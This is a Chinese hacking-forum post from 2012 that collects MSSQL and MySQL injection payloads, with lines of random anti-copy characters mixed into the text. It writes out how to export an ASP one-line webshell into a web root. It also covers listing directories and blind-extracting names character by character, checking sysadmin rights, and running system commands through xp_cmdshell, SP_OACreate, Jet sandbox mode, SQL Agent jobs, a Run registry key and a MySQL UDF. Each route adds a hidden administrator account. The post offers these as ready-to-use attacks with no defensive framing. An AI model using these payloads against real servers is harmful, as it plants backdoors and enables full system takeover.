找回密码
 立即注册
查看: 3481|回复: 0
打印 上一主题 下一主题

mssql实用命令及导出一句话

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:49:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MSSQL语句导出一句话木马
2 {4 y8 Q$ u' E: S- e首先确定网站的WEB路径
8 x7 \9 f- ~: h0 ~1 u* ^7 d7 f' a6 l; U;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马! ]* y" V4 X1 v

$ |9 Z) B6 R' b4 g6 K;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');-- - a/ @8 |. i# m
//将一句话木马插入表中  S* \* [. `, A
7 i: g/ Z' S6 x3 k, h9 `: V; [1 x) S
;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';--
( c9 Y" f0 l( T% u6 J, [) N//导出一个ASP文件1 Q: L. _8 t& V
; f2 @8 N" q3 C3 s* A& h. R

/ V" A$ k5 I( c$ ~) s关于MSSQL列目录1 g$ V4 e8 k' J* N6 S7 D
;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表; m% b0 q$ j7 Q) i1 j8 K
Insert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表
8 O$ Y- h) }: K/ Z" R4 i! y4 y; J1 I
and (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录$ }+ z  `7 s# h1 e- t/ Q! \  e6 D
8 z" U+ N, a( y5 F! \
And (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段
6 R: X2 f. O- \; g0 ]8 f) l. a2 o' p' a1 J9 U) m6 U
And (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符
% n* v5 ^# h1 B) L9 N% Y; s8 q: A3 m- _+ Q* s

+ n9 V& A+ Z6 F. z) R! l, V数据库版本和权限查看4 {) ]' ~0 ]. K0 u, F& q
and 1=(select @@VERSION) //查看详细的数据库信息.4 q$ h8 j5 Q" D2 ^( R+ s6 V
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA' @, B2 X  Y+ |5 c) q
and 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER" j; Q1 H4 s6 y9 E  g  ^0 f
% V/ {- J9 [1 Q) F- U2 j* _$ y3 {
+ M3 C# w, w" V, r
1.利用xp_cmdshell执行命令
) @% n& a: k1 ?) D' F7 ]; eexec master..xp_cmdshell 'net user rfire 123456 /add'
4 I6 P/ o- V/ s7 ^9 Mexec master..xp_cmdshell 'net localgroup administrators rfire /add'
* J7 Y' Q* R) U3 |1 L
$ O4 T3 D2 z" h恢复xp_cmdshell存储过程
. j- q4 `6 H: J) F, z; \/ G$ sExec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'$ x9 A% ]: Q; x  c& o: h2 H
/ [" z% F! J2 i  S- U
  e  u( x# A+ h! c3 q
2.利用SP_OAcreate和SP_OAMETHOD执行命令
; {6 h6 H' X6 X& r. q在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下
2 |* @; h' j3 z8 B: P8 h9 b$ sDECLARE @shell INT //建立一个@shell实体! t  {* z$ P4 {: ~% h" S
EXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例4 Q( {: L$ i$ w' H3 p
EXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例& r" M/ ]' c: C; Q4 V

  N8 N1 G3 T& n1 Y; r( ~) R& m
0 F" e! W5 f" L/ M* A( x, @3.利用沙盒模式
: b6 Q& o4 k* H先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。- C7 V  K, h/ Z, o& m
开启沙盒模式:
# J3 g2 C+ k' G+ Z6 X8 K9 o# tEXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',09 p8 x" K1 l1 }
% C; B- h/ X  R8 T8 u
执行命令:8 X, t/ Z% e8 |. t% `3 W( T8 b
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');
1 @6 q" u, c  b3 [- L! e' d) ]
: ]" w1 C9 R: U* e
  K; \& i* ^9 F' M% ]4.利用SQL代理执行命令, _- o5 H! m( g9 \; W
EXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务( e8 T  r3 G$ X' l0 ]5 W% X

' @9 q" W. M6 s2 f% g0 n7 C, G执行命令:
: Q7 \  n1 O  J9 X9 U. ~+ q7 `0 Ruse msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错
) ?9 |! H9 Y  e2 R: |" s3 Uexec sp_add_job 'x'
- l( }8 a: Y' b; I- Kexec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业
1 c& M: T% P4 e; v5 f$ R; r; rexec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业
0 Z# {: y7 A& l1 w: x. o1 Z# Z- K0 p9 }: i1 m, Z1 m* A; q
# ?: @6 k9 J( p5 [1 {3 ^$ a8 Q
5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)7 Y: N/ Q0 ]5 b5 ?1 N9 ?  y
EXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'
' \0 r% |: T% }" y# r1 V* O) b; q. D7 U: z: ]1 n! L9 t

4 u/ W: c8 u- i3 H5 c; w# K: V3 q6.MYSQL的命令执行# m3 }# N. w$ v( o/ P& s3 Z
MYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限); r2 R; e! Y' B
首先要在su.php下导出c:\windows\udf.dll
2 x. I% d: ~( x$ j% [导出后执行创建自定义函数命令:
3 b% r) V4 V7 eCreate Function cmdshell returns string soname 'udf.dll'
8 q, O" \1 D/ {执行命令
9 y5 G) p2 e" I5 g  ^select cmdshell('net user rfire 123456 /add')( k; F& P8 U8 \: Q
执行后删除函数 drop function cmdshell7 ?* g0 n- u: `1 f$ ?
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表